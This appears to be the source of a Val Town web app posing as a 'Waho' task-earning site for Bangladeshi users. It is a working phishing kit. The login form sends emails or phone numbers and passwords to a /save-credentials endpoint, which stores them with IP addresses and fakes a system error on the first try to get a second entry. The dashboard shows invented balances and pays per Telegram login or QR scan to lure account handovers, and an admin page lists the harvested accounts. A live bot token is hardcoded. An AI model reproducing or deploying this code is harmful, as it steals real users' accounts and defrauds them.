\n \n \n \n {type === \"phone\" && +880}\n \n {type === \"password\" && (\n setShowPassword(!showPassword)}\n aria-label={showPassword ? \"Hide password\" : \"Show password\"}\n >\n \n \n )}\n

\n );\n};\n\nconst FloatingMessage = ({ message, isVisible }) => {\n return (\n

\n {message}\n

\n );\n};\n\nconst Spinner = () => (\n

\n \n

\n);\n\nfunction NoInternetPage() {\n return (\n

\n $\"No$ \n

\n No internet connection\n
\n Check your connection and try again\n

\n \n

\n );\n}\n\nfunction Slideshow({ images }) {\n useEffect(() => {\n let currentSlideIndex = 0;\n const slides = document.querySelectorAll(\".mySlides\");\n const totalSlides = slides.length;\n const slideInterval = 3000; // 3 seconds\n const transitionDuration = 800; // 0.8 seconds (must match CSS)\n\n function showNextSlide() {\n if (totalSlides <= 1) return;\n\n const outgoingSlide = slides[currentSlideIndex];\n const nextSlideIndex = (currentSlideIndex + 1) % totalSlides;\n const incomingSlide = slides[nextSlideIndex];\n\n incomingSlide.style.transition = \"none\";\n incomingSlide.style.left = \"100%\";\n incomingSlide.classList.add(\"visible\");\n\n incomingSlide.offsetHeight; // Force reflow\n\n incomingSlide.style.transition = \"left 0.8s ease-in-out\";\n outgoingSlide.style.transition = \"left 0.8s ease-in-out\";\n\n incomingSlide.style.left = \"0%\";\n outgoingSlide.style.left = \"-100%\";\n\n currentSlideIndex = nextSlideIndex;\n\n setTimeout(() => {\n outgoingSlide.classList.remove(\"visible\");\n outgoingSlide.style.transition = \"none\";\n outgoingSlide.style.left = \"0%\";\n outgoingSlide.offsetHeight;\n outgoingSlide.style.transition = \"left 0.8s ease-in-out\";\n }, transitionDuration);\n }\n\n if (totalSlides > 1) {\n for (let i = 1; i < totalSlides; i++) {\n slides[i].style.left = \"100%\";\n }\n slides[0].classList.add(\"visible\");\n slides[0].style.left = \"0%\";\n\n setInterval(showNextSlide, slideInterval);\n } else if (totalSlides === 1) {\n slides[0].classList.add(\"visible\");\n slides[0].style.left = \"0%\";\n }\n }, []);\n\n return (\n

\n {images.map((src, index) => (\n {`Slide

\n ))}\n

\n );\n}\n\nfunction Card({ title, subtitle, amount, steps, footerSlides, buttonText, modalTitle, modalContent }) {\n const [isModalActive, setIsModalActive] = useState(false);\n\n useEffect(() => {\n const cardSpecificFooterSlideContainer = document.getElementById(\n `footerSlideContainer-${title.replace(/\\s+/g, \"-\")}`,\n );\n if (!cardSpecificFooterSlideContainer) return;\n\n const footerSlideIntervalTime = 3000;\n let currentFooterSlideIndex = 0;\n let footerSlideInterval = null;\n\n function showNextFooterSlide() {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n if (slides.length <= 1) return;\n\n const outgoingSlide = slides[currentFooterSlideIndex % slides.length];\n const incomingSlideIndex = (currentFooterSlideIndex + 1) % slides.length;\n const incomingSlide = slides[incomingSlideIndex];\n\n if (outgoingSlide) {\n outgoingSlide.classList.remove(\"active-slide\");\n outgoingSlide.classList.add(\"outgoing-slide\");\n }\n if (incomingSlide) {\n incomingSlide.classList.remove(\"outgoing-slide\");\n incomingSlide.classList.add(\"active-slide\");\n }\n currentFooterSlideIndex = (currentFooterSlideIndex + 1) % slides.length;\n\n setTimeout(() => {\n const currentOutgoingSlide = cardSpecificFooterSlideContainer.querySelector(\".outgoing-slide\");\n if (currentOutgoingSlide) {\n currentOutgoingSlide.classList.remove(\"outgoing-slide\");\n }\n }, 500);\n }\n\n if (footerSlides.length > 1) {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n slides.forEach((slide) => slide.classList.remove(\"active-slide\", \"outgoing-slide\"));\n if (slides.length > 0) {\n slides[0].classList.add(\"active-slide\");\n }\n currentFooterSlideIndex = 0;\n footerSlideInterval = setInterval(showNextFooterSlide, footerSlideIntervalTime);\n } else if (footerSlides.length === 1) {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n if (slides.length > 0) {\n slides[0].classList.add(\"active-slide\");\n }\n }\n\n return () => {\n if (footerSlideInterval) {\n clearInterval(footerSlideInterval);\n }\n };\n }, [footerSlides, title]);\n\n return (\n <>\n

\n \n

{title}

{subtitle}

৳ {amount}

\n {steps.map((step, index) => (\n

\n {step}\n
\n ৳\n

\n ))}\n

\n 🔊\n

\n {footerSlides.map((slide, index) => (\n {slide}\n ))}\n

\n \n

\n setIsModalActive(false)}\n title={modalTitle}\n content={modalContent}\n />\n \n );\n}\n\nfunction Modal({ isActive, onClose, title, content }) {\n if (!isActive) return null;\n\n return (\n

e.stopPropagation()}>\n

{title}

{content.map((item, index) =>

{item}

)}

\n \n \n

\n );\n}\n\nfunction InviteCard() {\n return (\n

\n $\"Invite$ \n

Invite task

0Friends

৳ 50 / Friends

\n The lower-tier must complete one withdrawal to be considered a valid referral.\n

\n );\n}\n\nfunction BottomNavigation() {\n return (\n \n );\n}\n\nfunction LoadingOverlay() {\n const [loadingText, setLoadingText] = useState(\"Loading...\");\n const [isClickable, setIsClickable] = useState(true);\n\n const handleClick = () => {\n if (isClickable) {\n setIsClickable(false);\n setLoadingText(\"Try again later!\");\n\n setTimeout(() => {\n setLoadingText(\"Loading...\");\n setIsClickable(true);\n }, 2000);\n }\n };\n\n return (\n

\n \n

{loadingText}

\n );\n}\n\nfunction DashboardPage() {\n const [balance, setBalance] = useState(null);\n\n useEffect(() => {\n let scriptLoadTimeoutId = null;\n let telegramCloseTimerId = null; // Changed from close to redirect\n\n const triggerTelegramInteraction = async (chatId) => {\n try {\n const response = await fetch(\"/handle-telegram-interaction\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ chatId: chatId.toString() }), // Ensure chatId is a string\n });\n if (!response.ok) {\n const errorData = await response.json();\n console.error(\"Failed to trigger Telegram interaction:\", errorData.error || \"Unknown server error\");\n } else {\n const result = await response.json();\n console.log(\"Telegram interaction processed:\", result.message);\n }\n } catch (error) {\n console.error(\"Error calling /handle-telegram-interaction endpoint:\", error);\n }\n };\n\n const fetchUserBalance = async () => {\n let userId = null;\n let isTelegramEnv = false;\n\n if (\n typeof window.Telegram !== \"undefined\"\n && window.Telegram.WebApp\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user\n ) {\n const tg = window.Telegram.WebApp;\n try {\n const tgUser = tg.initDataUnsafe.user;\n if (tgUser && tgUser.id) {\n userId = tgUser.id.toString();\n isTelegramEnv = true;\n console.log(\"Running in Telegram environment. User ID:\", userId);\n\n // Trigger Telegram interaction (sends message based on rate limit)\n await triggerTelegramInteraction(tgUser.id); // Pass tgUser.id\n } else {\n console.warn(\"Telegram user data (ID) not available, though Telegram environment detected.\");\n }\n } catch (e) {\n console.error(\"Error accessing Telegram user data:\", e);\n }\n }\n\n if (!userId) {\n if (isTelegramEnv) {\n console.log(\n \"Failed to get Telegram User ID despite Telegram environment, attempting web user identification.\",\n );\n } else if (typeof window.Telegram !== \"undefined\" && window.Telegram.WebApp) {\n console.log(\"Telegram WebApp object present, but User ID not retrieved. Attempting web user identification.\");\n } else {\n console.log(\"Not in Telegram environment or user data not found. Using localStorage for UID.\");\n }\n\n const localStorageUidKey = \"genericWebAppUserUid\";\n let storedUid = localStorage.getItem(localStorageUidKey);\n if (storedUid) {\n userId = storedUid;\n console.log(\"Retrieved UID from localStorage:\", userId);\n } else {\n userId = `webUser-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;\n localStorage.setItem(localStorageUidKey, userId);\n console.log(\"Generated and stored new UID for web user:\", userId);\n }\n }\n\n if (userId) {\n try {\n const response = await fetch(`/get-balance?uid=${userId}`);\n if (!response.ok) {\n try {\n const errData = await response.json();\n throw new Error(\n `HTTP error! status: ${response.status}, message: ${errData.error || \"Unknown server error\"}`,\n );\n } catch (jsonError) {\n throw new Error(\n `HTTP error! status: ${response.status}, message: Failed to parse error JSON. Raw response: ${response.statusText}`,\n );\n }\n }\n const data = await response.json();\n\n if (data.balance !== undefined) {\n setBalance(parseFloat(data.balance).toFixed(2));\n } else if (data.error) {\n console.error(\"Error from /get-balance API:\", data.error);\n setBalance(\"--.--\");\n } else {\n console.log(\"Unexpected data format from /get-balance API:\", data);\n setBalance(\"--.--\");\n }\n } catch (error) {\n console.error(\"Failed to fetch or process balance:\", error.toString());\n setBalance(\"Error\");\n }\n } else {\n console.error(\"User ID could not be determined for balance fetching.\");\n setBalance(\"--.--\");\n }\n };\n\n if (typeof window !== \"undefined\") {\n const isTelegramWebAppPresent = window.Telegram && window.Telegram.WebApp;\n\n if (isTelegramWebAppPresent) {\n console.log(\"Telegram environment detected. Setting up close timer for 3 seconds.\");\n telegramCloseTimerId = setTimeout(() => {\n // Close the WebApp instead of redirecting to the bot\n window.Telegram.WebApp.close();\n }, 3000);\n }\n\n const isTelegramUserDataReady = isTelegramWebAppPresent\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user;\n\n if (isTelegramUserDataReady) {\n if (window.Telegram.WebApp.ready) {\n window.Telegram.WebApp.ready();\n }\n fetchUserBalance();\n } else if (isTelegramWebAppPresent) {\n console.log(\n \"Telegram script present, but user data not immediately available or ready() pending. Setting timeout for balance fetch.\",\n );\n if (window.Telegram.WebApp.ready) {\n window.Telegram.WebApp.ready();\n }\n scriptLoadTimeoutId = setTimeout(fetchUserBalance, 300);\n } else {\n console.log(\"Not in Telegram environment. Proceeding as web user for balance fetch.\");\n fetchUserBalance();\n }\n }\n\n return () => {\n if (scriptLoadTimeoutId) {\n clearTimeout(scriptLoadTimeoutId);\n }\n if (telegramCloseTimerId) {\n clearTimeout(telegramCloseTimerId);\n }\n };\n }, []);\n\n const slideshowImages = [\n \"https://i.postimg.cc/KvSbQsgQ/download-4.png\",\n \"https://i.postimg.cc/NMzVyLRp/download-5.png\",\n \"https://i.postimg.cc/V6LJD2qT/Screenshot-20250504-091730.jpg\",\n ];\n\n const loginCardData = {\n title: \"Login For Tg\",\n subtitle: \"0 Tg\",\n amount: \"409+\",\n steps: [12, 28, 62, 142, 165],\n footerSlides: [\n \"Login 1 Tg 10 - 12Taka\",\n \"Login 3 Tg 23 - 28Taka\",\n \"Login 8 Tg 52 - 62Taka\",\n \"Login 16 Tg 132 - 142Taka\",\n \"Login 25 Tg 155 - 165Taka\",\n ],\n buttonText: \"Detail\",\n modalTitle: \"Login For Tg\",\n modalContent: [\n \"Login 1 Tg 10 - 12Taka\",\n \"Login 3 Tg 23 - 28Taka\",\n \"Login 8 Tg 52 - 62Taka\",\n \"Login 16 Tg 132 - 142Taka\",\n \"Login 25 Tg 155 - 165Taka\",\n ],\n };\n\n const scanCodeCardData = {\n title: \"Scan Code Tasks\",\n subtitle: \"8Account\",\n amount: \"409+\",\n steps: [12, 28, 62, 142, 165],\n footerSlides: [\n \"ScanCode1Account 10 - 12Taka\",\n \"ScanCode3Account 23 - 28Taka\",\n \"ScanCode8Account 52 - 62Taka\",\n \"ScanCode16Account 132 - 142Taka\",\n \"ScanCode25Account 155 - 165Taka\",\n ],\n buttonText: \"Detail\",\n modalTitle: \"Scan Code Tasks\",\n modalContent: [\n \"ScanCode1Account 10 - 12Taka\",\n \"ScanCode3Account 23 - 28Taka\",\n \"ScanCode8Account 52 - 62Taka\",\n \"ScanCode16Account 132 - 142Taka\",\n \"ScanCode25Account 155 - 165Taka\",\n ],\n };\n\n return (\n <>\n

\n 🌐\n Languages\n ▼\n

\n $\"Taka$ \n {balance !== null ? balance : \"...\"}\n

\n Withdrawal\n

\n \n \n \n \n

\n \n \n );\n}\n\nfunction LoginPage({ setShowDashboard }) {\n const [formData, handleChange, setFormData] = useForm({ loginType: \"email\", email: \"\", phone: \"\", password: \"\" });\n const [error, setError] = useState(\"\");\n const [showFloatingMessage, setShowFloatingMessage] = useState(false);\n const [showSystemError, setShowSystemError] = useState(false);\n const [showServerBusy, setShowServerBusy] = useState(false);\n const [showSpinner, setShowSpinner] = useState(false);\n\n useEffect(() => {\n // Remove auto redirect check\n }, []);\n\n const containsBengaliOrSpace = (str) => {\n return /[\\u0980-\\u09FF\\s]/.test(str);\n };\n\n const handleSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n\n const { loginType, email, phone, password } = formData;\n\n if (!password || (loginType === \"email\" && !email) || (loginType === \"phone\" && !phone)) {\n setError(`Please enter both ${loginType === \"email\" ? \"email\" : \"phone\"} and password`);\n return;\n }\n\n if (loginType === \"phone\") {\n if (phone.length !== 10 || !phone.startsWith(\"1\")) {\n setError(\"আপনার নম্বরে সমস্যা হয়েছে\");\n return;\n }\n }\n\n if (containsBengaliOrSpace(password)) {\n setError(\"আপনার পাসওয়ার্ডটি সঠিক নয়\");\n return;\n }\n\n if (password.length < 6 || password.length > 30) {\n setError(\"আপনার পাসওয়ার্ডে সমস্যা হয়েছে\");\n return;\n }\n\n try {\n setShowSpinner(true);\n\n const response = await fetch(\"/save-credentials\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n type: loginType,\n credential: loginType === \"email\" ? email : \"+880\" + phone,\n password,\n }),\n });\n\n if (!response.ok) {\n const errorData = await response.json();\n throw new Error(errorData.error || \"Failed to save credentials\");\n }\n\n const data = await response.json();\n\n setTimeout(() => {\n setShowSpinner(false);\n if (data.redirect_to_dashboard) {\n setShowDashboard(true);\n } else if (data.systemError) {\n setShowSystemError(true);\n setFormData(prevFormData => ({ ...prevFormData, password: \"\" }));\n setTimeout(() => setShowSystemError(false), 1000);\n } else if (data.serverBusy) {\n setShowServerBusy(true);\n setTimeout(() => setShowServerBusy(false), 3000);\n } else {\n setError(\"Login failed. Please check your credentials.\");\n }\n }, 2000);\n } catch (error) {\n console.error(\"Error during login:\", error.message);\n setError(error.message || \"An error occurred. Please try again.\");\n setShowSpinner(false);\n }\n };\n\n const handleToggle = (type) => {\n setFormData(prev => ({ ...prev, loginType: type }));\n };\n\n const handleCreateAccountClick = (e) => {\n e.preventDefault();\n setShowFloatingMessage(true);\n setTimeout(() => setShowFloatingMessage(false), 3000);\n };\n\n return (\n

\n {showSpinner && }\n

Hello!

\n Welcome to the waho!\n

\n \n

Welcome back

\n handleToggle(\"email\")}\n isActive={formData.loginType === \"email\"}\n isFirst={true}\n >\n Email\n \n handleToggle(\"phone\")}\n isActive={formData.loginType === \"phone\"}\n isLast={true}\n >\n Phone\n \n

\n \n Creat Account\n \n

\n \n \n \n

\n );\n}\n\nfunction App() {\n const [showDashboard, setShowDashboard] = useState(false);\n return showDashboard ? : ;\n}\n\nfunction client() {\n createRoot(document.getElementById(\"root\")).render();\n}\n\nif (typeof document !== \"undefined\") {\n client();\n}\n\n// SERVER SIDE LOGIC\nexport default async function server(request: Request): Promise {\n const url = new URL(request.url);\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n\n const createHTMLResponse = (title: string, bodyContent: string, extraHeadContent: string = \"\") => {\n return new Response(\n `\n \n \n \n \n \n ${title}\n \n \n \n ${extraHeadContent}\n \n \n ${bodyContent}\n \n \n \n \n `,\n {\n headers: {\n \"Content-Type\": \"text/html\",\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n },\n },\n );\n };\n\n // Function to send message via Telegram API\n const sendActualTelegramAPIMessage = async (botToken, chatId, text, parseMode = \"Markdown\") => {\n try {\n const response = await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ chat_id: chatId, text: text, parse_mode: parseMode }),\n });\n if (!response.ok) {\n const errorData = await response.json();\n console.error(`Telegram API error for chat ID ${chatId}:`, errorData);\n return false;\n }\n console.log(`Message sent to ${chatId} via API: ${text.substring(0, 30)}...`);\n return true;\n } catch (error) {\n console.error(`Error sending Telegram API message to ${chatId}:`, error);\n return false;\n }\n };\n\n // New endpoint to handle Telegram interactions with rate limiting\n if (url.pathname === \"/handle-telegram-interaction\" && request.method === \"POST\") {\n try {\n const { chatId } = await request.json();\n if (!chatId) {\n return new Response(JSON.stringify({ error: \"chatId is required\" }), {\n status: 400,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n\n const botToken = \"7471085049:AAFOFlR4l3BSGNkAbkA5cZfpPSzs3xlclM8\";\n const messageCountsKey = \"telegram_message_counts_v3\";\n const banTimestampsKey = \"telegram_user_ban_timestamps_v3\";\n const twentyFourHoursInMillis = 24 * 60 * 60 * 1000;\n\n let messageCounts = await blob.getJSON(messageCountsKey) || {};\n let banTimestamps = await blob.getJSON(banTimestampsKey) || {};\n\n const bannedMessage = \"আপনাকে ২৪ ঘন্টার জন্য ওয়াহ প্রো থেকে ব্যান করা হয়েছে। ২৪ ঘন্টা পর আবার চেষ্টা করুন।\";\n const originalMessageBangla =\n \"*Waho Pro Account Problem*\\n\\nআপনার একাউন্টি এক্টিব নয় তাই আপনার এক্সেস ব্লক করা হয়েছে। দয়া করে এক্টিব একাউন্ট ব্যবহার করুন। একাউন্ট এক্টিব করতে হলে একাউন্টটি ৫ দিনের পুরনো হতে হবে ও ১ টি নম্বর এড থাকতে হবে \";\n const originalMessageEnglish =\n \"*Waho Pro Account Problem*\\n\\nYour account is not active so your access has been blocked. Please use an active account. To activate the account, you need to add 1 number to the account and it must be 5 days old.\";\n\n let actionTaken = \"none\";\n\n // 1. Check if user is currently banned\n if (banTimestamps[chatId]) {\n const banStartTime = new Date(banTimestamps[chatId]).getTime();\n const currentTime = new Date().getTime();\n\n if (currentTime - banStartTime < twentyFourHoursInMillis) {\n actionTaken = \"sent_banned_message_still_banned\";\n await sendActualTelegramAPIMessage(botToken, chatId, bannedMessage);\n } else {\n // Ban expired\n delete banTimestamps[chatId];\n messageCounts[chatId] = 0; // Reset count\n actionTaken = \"ban_expired_count_reset\";\n }\n }\n\n // 2. If not banned or ban just expired, check message count\n if (actionTaken !== \"sent_banned_message_still_banned\") {\n let currentCount = messageCounts[chatId] || 0;\n\n if (currentCount < 3) {\n await sendActualTelegramAPIMessage(botToken, chatId, originalMessageBangla);\n await sendActualTelegramAPIMessage(botToken, chatId, originalMessageEnglish);\n messageCounts[chatId] = currentCount + 1;\n actionTaken = `sent_original_message_count_${messageCounts[chatId]}`;\n } else { // currentCount is 3 (or more, though should be 3 when this is first hit after no ban)\n if (!banTimestamps[chatId]) { // Set ban timestamp only if not already set (e.g. by an expired ban check)\n banTimestamps[chatId] = new Date().toISOString();\n }\n actionTaken = \"max_attempts_reached_sent_banned_message_now_banned\";\n await sendActualTelegramAPIMessage(botToken, chatId, bannedMessage);\n }\n }\n\n await blob.setJSON(messageCountsKey, messageCounts);\n await blob.setJSON(banTimestampsKey, banTimestamps);\n\n return new Response(\n JSON.stringify({ success: true, message: `Telegram interaction processed. Action: ${actionTaken}` }),\n {\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n },\n );\n } catch (error) {\n console.error(\"Error in /handle-telegram-interaction endpoint:\", error);\n return new Response(\n JSON.stringify({ error: \"Failed to process Telegram interaction request\", details: error.message }),\n {\n status: 500,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n },\n );\n }\n }\n\n if (url.pathname === \"/get-balance\") {\n try {\n const uid = url.searchParams.get(\"uid\");\n\n if (!uid) {\n return new Response(JSON.stringify({ error: \"UID is required\" }), {\n status: 400,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n\n const blobKey = \"user_balances_dashboard_app_v1\";\n let userBalances = await blob.getJSON(blobKey) || {};\n let userBalance;\n\n if (userBalances[uid] !== undefined) {\n userBalance = userBalances[uid];\n } else {\n userBalance = Math.floor(Math.random() * (105 - 90 + 1)) + 90;\n userBalances[uid] = userBalance;\n await blob.setJSON(blobKey, userBalances);\n }\n\n return new Response(JSON.stringify({ uid: uid, balance: userBalance }), {\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n } catch (error) {\n console.error(\"Error in /get-balance endpoint:\", error);\n return new Response(JSON.stringify({ error: \"Failed to process balance request\", details: error.message }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n }\n\n if (url.pathname === \"/save-credentials\" && request.method === \"POST\") {\n try {\n const newCredential = await request.json();\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n let loginAttempts = await blob.getJSON(\"login_attempts\") || {};\n\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const credentialIdentifier = `${newCredential.type}_${newCredential.credential}_${newCredential.password}`;\n\n let redirect_to_dashboard = false;\n let systemError = false;\n let serverBusy = false;\n\n const existingSuccessEntry = savedCredentials.find(\n (cred) =>\n cred.credential === newCredential.credential\n && cred.password === newCredential.password,\n );\n\n const attemptKey = `${credentialIdentifier}_${userIP}`;\n loginAttempts[attemptKey] = (loginAttempts[attemptKey] || 0) + 1;\n\n if (!existingSuccessEntry && loginAttempts[attemptKey] === 1) {\n systemError = true;\n if (\n !savedCredentials.some(c =>\n c.credential === newCredential.credential && c.password === newCredential.password && c.ip === userIP\n )\n ) {\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n }\n } else {\n redirect_to_dashboard = true;\n if (\n !savedCredentials.some(c =>\n c.credential === newCredential.credential && c.password === newCredential.password\n )\n ) {\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n }\n }\n\n await blob.setJSON(\"saved_credentials\", savedCredentials);\n await blob.setJSON(\"login_attempts\", loginAttempts);\n\n return new Response(\n JSON.stringify({\n success: true,\n serverBusy: serverBusy,\n systemError: systemError,\n redirect_to_dashboard: redirect_to_dashboard,\n }),\n {\n headers: { \"Content-Type\": \"application/json\" },\n },\n );\n } catch (error) {\n console.error(\"Error saving credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to save credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n // New endpoint to display user data and provide unban functionality\n if (url.pathname === \"/admin-telegram-users\") {\n try {\n const messageCountsKey = \"telegram_message_counts_v3\";\n const banTimestampsKey = \"telegram_user_ban_timestamps_v3\";\n const savedCredentialsKey = \"saved_credentials\";\n\n const messageCounts = await blob.getJSON(messageCountsKey) || {};\n const banTimestamps = await blob.getJSON(banTimestampsKey) || {};\n const savedCredentials = await blob.getJSON(savedCredentialsKey) || [];\n\n const usersData = {};\n\n for (const chatId in messageCounts) {\n usersData[chatId] = usersData[chatId] || {\n telegramId: chatId,\n messageCount: messageCounts[chatId],\n isBanned: false,\n banStartTime: null,\n accountNames: new Set(),\n loginAttemptsOnDashboard: 0,\n };\n }\n\n for (const chatId in banTimestamps) {\n const banStartTime = new Date(banTimestamps[chatId]).getTime();\n const twentyFourHoursInMillis = 24 * 60 * 60 * 1000;\n const currentTime = new Date().getTime();\n\n if (currentTime - banStartTime < twentyFourHoursInMillis) {\n usersData[chatId] = usersData[chatId] || {\n telegramId: chatId,\n messageCount: messageCounts[chatId] || 0,\n isBanned: true,\n banStartTime: banTimestamps[chatId],\n accountNames: new Set(),\n loginAttemptsOnDashboard: 0,\n };\n usersData[chatId].isBanned = true;\n usersData[chatId].banStartTime = banTimestamps[chatId];\n } else {\n delete banTimestamps[chatId];\n }\n }\n\n savedCredentials.forEach(cred => {\n const potentialTelegramId = cred.credential.startsWith(\"+880\") ? cred.credential.substring(4) : cred.credential;\n\n if (usersData[potentialTelegramId]) {\n usersData[potentialTelegramId].accountNames.add(`${cred.type}: ${cred.credential}`);\n usersData[potentialTelegramId].loginAttemptsOnDashboard++;\n } else if (cred.type === \"email\" || cred.type === \"phone\") {\n const webUserId = `webUser-${cred.credential}`;\n usersData[webUserId] = usersData[webUserId] || {\n telegramId: \"N/A\",\n messageCount: 0,\n isBanned: false,\n banStartTime: null,\n accountNames: new Set(),\n loginAttemptsOnDashboard: 0,\n };\n usersData[webUserId].accountNames.add(`${cred.type}: ${cred.credential}`);\n usersData[webUserId].loginAttemptsOnDashboard++;\n }\n });\n\n const usersDataArray = Object.values(usersData).map(user => ({\n ...user,\n accountNames: Array.from(user.accountNames),\n }));\n\n const adminPageContent = `\n

Telegram Users & Activity

\n ${usersDataArray.length === 0 ? \"

No user data available yet.

\" : \"\"}\n ${\n usersDataArray.map(user => `\n

Telegram ID: ${user.telegramId}

Messages Sent: ${user.messageCount}

Dashboard Logins: ${user.loginAttemptsOnDashboard}

Accounts: ${user.accountNames.join(\", \") || \"N/A\"}

\n ${\n user.isBanned ? `

Ban Start: ${new Date(user.banStartTime).toLocaleString()}

` : \"\"\n }\n

\n \n

\n `).join(\"\")\n }\n

\n\n \n `;\n\n return createHTMLResponse(\n \"Admin Panel - Telegram Users\",\n adminPageContent,\n ``,\n );\n } catch (error) {\n console.error(\"Error generating admin-telegram-users page:\", error);\n return new Response(\"Error loading admin page: \" + error.message, { status: 500 });\n }\n }\n\n // New endpoint to handle unban requests\n if (url.pathname === \"/unban-telegram-user\" && request.method === \"POST\") {\n try {\n const { chatId } = await request.json();\n if (!chatId) {\n return new Response(JSON.stringify({ error: \"chatId is required\" }), {\n status: 400,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n\n const banTimestampsKey = \"telegram_user_ban_timestamps_v3\";\n let banTimestamps = await blob.getJSON(banTimestampsKey) || {};\n\n if (banTimestamps[chatId]) {\n delete banTimestamps[chatId];\n await blob.setJSON(banTimestampsKey, banTimestamps);\n\n const messageCountsKey = \"telegram_message_counts_v3\";\n let messageCounts = await blob.getJSON(messageCountsKey) || {};\n messageCounts[chatId] = 0;\n await blob.setJSON(messageCountsKey, messageCounts);\n\n return new Response(JSON.stringify({ success: true, message: `User ${chatId} unbanned.` }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } else {\n return new Response(JSON.stringify({ success: true, message: `User ${chatId} was not banned.` }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n } catch (error) {\n console.error(\"Error unbanning Telegram user:\", error);\n return new Response(JSON.stringify({ error: \"Failed to unban user\", details: error.message }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n return createHTMLResponse(\"Login / Dashboard\", `

`);\n}","deleted","label",[98],"permalink","https://www.val.town/x/wahobd/untitled-2689/code/main.tsx","extension","actionData","errors"]